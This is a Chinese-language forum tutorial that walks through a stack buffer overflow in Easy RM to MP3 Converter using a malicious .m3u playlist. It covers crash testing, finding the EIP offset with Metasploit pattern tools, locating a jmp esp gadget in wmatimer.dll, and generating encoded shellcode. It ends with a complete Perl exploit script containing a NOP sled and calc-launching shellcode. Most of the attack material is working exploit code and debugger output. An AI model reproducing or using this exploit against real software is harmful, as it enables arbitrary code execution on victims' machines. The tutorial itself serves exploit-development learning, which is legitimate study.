其他
如何利用栈溢出漏洞
看雪论坛作者ID：LarryS
这周要看的《漏洞战争》中的内容已经看完了，所以利用空余时间学习一下Exploit 编写系列教程。
1
准备工作 - 漏洞验证
my $file= "crash.m3u";my $junk= "\x41" x 10000; open($FILE,">$file");print $FILE "$junk";close($FILE);print "m3u File Created successfully\n";测试文件只是为了让程序崩溃，不需要什么结构，由大量的'A'组成。
c.测试
10000长度的文件没能让程序崩溃，换成20000、30000……
10000长度：
（3）调试崩溃程序
2
漏洞利用流程
1、确定EIP在poc文件中的位置
(3f4.f58): Access violation - code c0000005 (!!! second chance !!!)eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=00007530eip=41414141 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0000021641414141 ?? ???0:000> dd esp000ffd38 41414141 41414141 41414141 41414141000ffd48 41414141 41414141 41414141 41414141000ffd58 41414141 41414141 41414141 41414141000ffd68 41414141 41414141 41414141 41414141000ffd78 41414141 41414141 41414141 41414141000ffd88 41414141 41414141 41414141 41414141000ffd98 41414141 41414141 41414141 41414141000ffda8 41414141 41414141 41414141 41414141不过metasploit已经考虑到了这种情况并提供了相关工具，在我分析CVE-2010-3333漏洞的时候，为了确定SEH handler的位置，已经参考了这个系列文章并使用了该工具。
PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_create.rb -hUsage: ./pattern_create.rb [options]Example: ./pattern_create.rb -l 50 -s ABC,def,123Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
Options: -l, --length <length> The length of the pattern -s, --sets <ABC,def,123> Custom Pattern Sets -h, --help Show this messageruby .\pattern_create.rb -l 30000 > poc.m3u(8d0.f74): Access violation - code c0000005 (!!! second chance !!!)eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=00007532eip=376c4836 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216376c4836 ?? ???PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_offset.rb -hUsage: ./pattern_offset.rb [options]Example: ./pattern_offset.rb -q Aa3A[*] Exact match at offset 9
Options: -q, --query Aa0A Query to Locate -l, --length <length> The length of the pattern -s, --sets <ABC,def,123> Custom Pattern Sets -h, --help Show this message
PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_offset.rb -q 0x376c4836 -l 30000[*] Exact match at offset 5810[*] Exact match at offset 26090my $file= "crash_eiptest.m3u";my $junk= "A" x 26090;my $eip= "BBBB";my $espdata = "C" x 1000;open($FILE,">$file");print $FILE $junk.$eip.$espdata;close($FILE);print "m3u File Created successfully\n";(718.d20): Access violation - code c0000005 (!!! second chance !!!)eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=000069d6eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0000021642424242 ?? ???2、确定shellcode放置位置
0:000> dd esp000ffd38 43434343 43434343 43434343 43434343000ffd48 43434343 43434343 43434343 43434343000ffd58 43434343 43434343 43434343 43434343000ffd68 43434343 43434343 43434343 43434343000ffd78 43434343 43434343 43434343 43434343000ffd88 43434343 43434343 43434343 43434343000ffd98 43434343 43434343 43434343 43434343000ffda8 43434343 43434343 43434343 43434343my $file= "crash_esptest.m3u";my $junk= "A" x 26090;my $eip= "BBBB";my $espdata = "1zxcvbnm2zxcvbnmn3zxcvbnm4zxcvbnm5zxcvbnm6zxcvbnm7zxcvbnm8zxcvbnm9zxcvbnm0zxcvbnm";open($FILE,">$file");print $FILE $junk.$eip.$espdata;close($FILE);print "m3u File Created successfully\n";0:000> db esp000ffd38 76 62 6e 6d 32 7a 78 63-76 62 6e 6d 33 7a 78 63 vbnm2zxcvbnm3zxc000ffd48 76 62 6e 6d 34 7a 78 63-76 62 6e 6d 35 7a 78 63 vbnm4zxcvbnm5zxc000ffd58 76 62 6e 6d 36 7a 78 63-76 62 6e 6d 37 7a 78 63 vbnm6zxcvbnm7zxc000ffd68 76 62 6e 6d 38 7a 78 63-76 62 6e 6d 39 7a 78 63 vbnm8zxcvbnm9zxc000ffd78 76 62 6e 6d 30 7a 78 63-76 62 6e 6d 00 41 41 41 vbnm0zxcvbnm.AAA000ffd88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ffd98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA000ffda8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA根据上面的发现，我们可以把shellcode放在两个位置：
3、确定EIP的填充内容
3.1 确定使用的指令
3.2 确定jmp esp指令地址
0:010> untdll!DbgBreakPoint:7c90120e ffe4 jmp esp7c901210 8bff mov edi,edintdll!DbgUserBreakPoint:7c901212 cc int 37c901213 c3 ret7c901214 8bff mov edi,edintdll!DbgBreakPointWithStatus:7c901216 8b442404 mov eax,dword ptr [esp+4]ntdll!RtlpBreakWithStatusInstruction:7c90121a cc int 37c90121b c20400 ret 4ModLoad: 10000000 10071000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dllModLoad: 00b50000 00bef000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dllModLoad: 01900000 01971000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dllModLoad: 01980000 01987000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dllModLoad: 01990000 01e5d000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dllModLoad: 02260000 0227e000 C:\Program Files\Easy RM to MP3 Converter\wmatimer.dllModLoad: 02290000 022a0000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dllModLoad: 024b0000 024c2000 C:\Program Files\Easy RM to MP3 Converter\MSLog.dll0:010> s 1990000 1e5d000 ff e401b4f23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$.......01b8023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T......01b9d3db ff e4 ca b6 01 20 05 93-19 09 00 00 00 00 d4 b9 ..... ..........01bbb22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]...."..01bbb72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J&01bbcd89 ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf ...5..o..J..0...01bc5c9e ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb ..\.....y.......01bd03d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.01bd1400 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P01bd736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.01bdce34 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P01be0159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.01be2ec0 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P0:010> s 2260000 227e000 ff e40227135b ff e4 49 26 02 e8 49 26-02 00 00 00 00 ff ff ff ..I&..I&........0:010> u 227135bwmatimer!ATimerGet1X+0x1020b:0227135b ffe4 jmp esp0227135d 49 dec ecx0227135e 2602e8 add ch,al02271361 49 dec ecx02271362 260200 add al,byte ptr es:[eax]02271365 0000 add byte ptr [eax],al02271367 00ff add bh,bh02271369 ff ???4、确定shellcode的内容
（1）使用metasploit生成payload
Payload Commands================
Command Description ------- ----------- check Check to see if a target is vulnerable generate Generates a payload reload Reload the current module from disk to_handler Creates a handler with the specified payloadUsage: generate [options]
Generates a payload. Datastore options may be supplied after normal options.
Example: generate -f python LHOST=127.0.0.1
OPTIONS:
-E Force encoding -O <opt> Deprecated: alias for the '-o' option -P <opt> Total desired payload size, auto-produce appropriate NOP sled length -S <opt> The new section name to use when generating (large) Windows binaries -b <opt> The list of characters to avoid example: '\x00\xff' -e <opt> The encoder to use -f <opt> Output format: base32,base64,bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,python-reflection,vba,vba-exe,vba-psh,vbs,war -h Show this message -i <opt> The number of times to encode the payload -k Preserve the template behavior and inject the payload as a new thread -n <opt> Prepend a nopsled of [length] size on to the payload -o <opt> The output file name (otherwise stdout) -p <opt> The platform of the payload -v Verbose output (display stage in addition to stager) -x <opt> Specify a custom executable file to use as a template-P：指定想要的payload的长度，在这次实验中不需要
-b：不希望payload中出现的字符
-e：使用的编码器
-f：指定输出的语言，这里选择perl
msf6 payload(windows/exec) > show options
Module options (payload/windows/exec):
Name Current Setting Required Description ---- --------------- -------- ----------- CMD yes The command string to execute EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
msf6 payload(windows/exec) > set cmd calccmd => calcmsf6 payload(windows/exec) > set exitfunc sehexitfunc => seh5、测试exploit
my $file= "exploit.m3u";my $junk= "A" x 26090;my $eip= pack('V',0x0227135b);# 注意这里要填充一些nop指令，否则shellcode无法正确执行my $beforeshellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";# windows/exec - 446 bytes# https://metasploit.com/# Encoder: x86/alpha_upper# VERBOSE=false, PrependMigrate=false, EXITFUNC=seh, CMD=calcmy $buf ="\x89\xe1\xdb\xd4\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43" ."\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58" ."\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" ."\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" ."\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48" ."\x4b\x32\x33\x30\x35\x50\x35\x50\x53\x50\x4b\x39\x5a\x45" ."\x30\x31\x39\x50\x43\x54\x4c\x4b\x46\x30\x56\x50\x4c\x4b" ."\x51\x42\x34\x4c\x4c\x4b\x36\x32\x55\x44\x4c\x4b\x44\x32" ."\x51\x38\x54\x4f\x58\x37\x31\x5a\x51\x36\x36\x51\x4b\x4f" ."\x4e\x4c\x57\x4c\x35\x31\x33\x4c\x34\x42\x56\x4c\x37\x50" ."\x59\x51\x38\x4f\x44\x4d\x33\x31\x39\x57\x4a\x42\x4b\x42" ."\x51\x42\x56\x37\x4c\x4b\x50\x52\x42\x30\x4c\x4b\x30\x4a" ."\x47\x4c\x4c\x4b\x30\x4c\x52\x31\x42\x58\x4a\x43\x51\x58" ."\x55\x51\x58\x51\x46\x31\x4c\x4b\x36\x39\x47\x50\x33\x31" ."\x39\x43\x4c\x4b\x57\x39\x34\x58\x4d\x33\x36\x5a\x30\x49" ."\x4c\x4b\x56\x54\x4c\x4b\x35\x51\x39\x46\x46\x51\x4b\x4f" ."\x4e\x4c\x4f\x31\x48\x4f\x54\x4d\x53\x31\x59\x57\x37\x48" ."\x4b\x50\x44\x35\x4a\x56\x34\x43\x33\x4d\x4c\x38\x57\x4b" ."\x53\x4d\x37\x54\x42\x55\x4a\x44\x36\x38\x4c\x4b\x56\x38" ."\x37\x54\x35\x51\x39\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b" ."\x4c\x4b\x30\x58\x45\x4c\x43\x31\x59\x43\x4c\x4b\x43\x34" ."\x4c\x4b\x45\x51\x48\x50\x4c\x49\x47\x34\x47\x54\x36\x44" ."\x51\x4b\x31\x4b\x55\x31\x56\x39\x30\x5a\x56\x31\x4b\x4f" ."\x4b\x50\x51\x4f\x31\x4f\x50\x5a\x4c\x4b\x45\x42\x4a\x4b" ."\x4c\x4d\x31\x4d\x42\x4a\x35\x51\x4c\x4d\x4d\x55\x58\x32" ."\x55\x50\x55\x50\x55\x50\x36\x30\x33\x58\x30\x31\x4c\x4b" ."\x52\x4f\x4b\x37\x4b\x4f\x58\x55\x4f\x4b\x4b\x4e\x34\x4e" ."\x30\x32\x4a\x4a\x43\x58\x39\x36\x5a\x35\x4f\x4d\x4d\x4d" ."\x4b\x4f\x49\x45\x47\x4c\x54\x46\x43\x4c\x44\x4a\x4b\x30" ."\x4b\x4b\x4d\x30\x34\x35\x53\x35\x4f\x4b\x57\x37\x52\x33" ."\x34\x32\x52\x4f\x42\x4a\x35\x50\x30\x53\x4b\x4f\x48\x55" ."\x32\x43\x45\x31\x42\x4c\x53\x53\x35\x50\x41\x41";
open($FILE,">$file");print $FILE $junk.$eip.$beforeshellcode.$buf;close($FILE);print "m3u File Created successfully\n";3
知识点整理
4
总结
参考资料：
Exploit writing tutorial part 1 : Stack Based Overflows
metasploit生成payload
看雪ID：LarryS
https://bbs.pediy.com/user-home-600394.htm
# 往期推荐
2. Galgame汉化中的逆向：ArmArm64_ELF中汉化字符串超长修改方法
4. V8利用初探 2019 StarCTF oob 复现分析
5. 从SSL库的内存漫游开发dump自定义客户端证书的通杀脚本
球分享
球点赞
球在看
点击“阅读原文”，了解更多！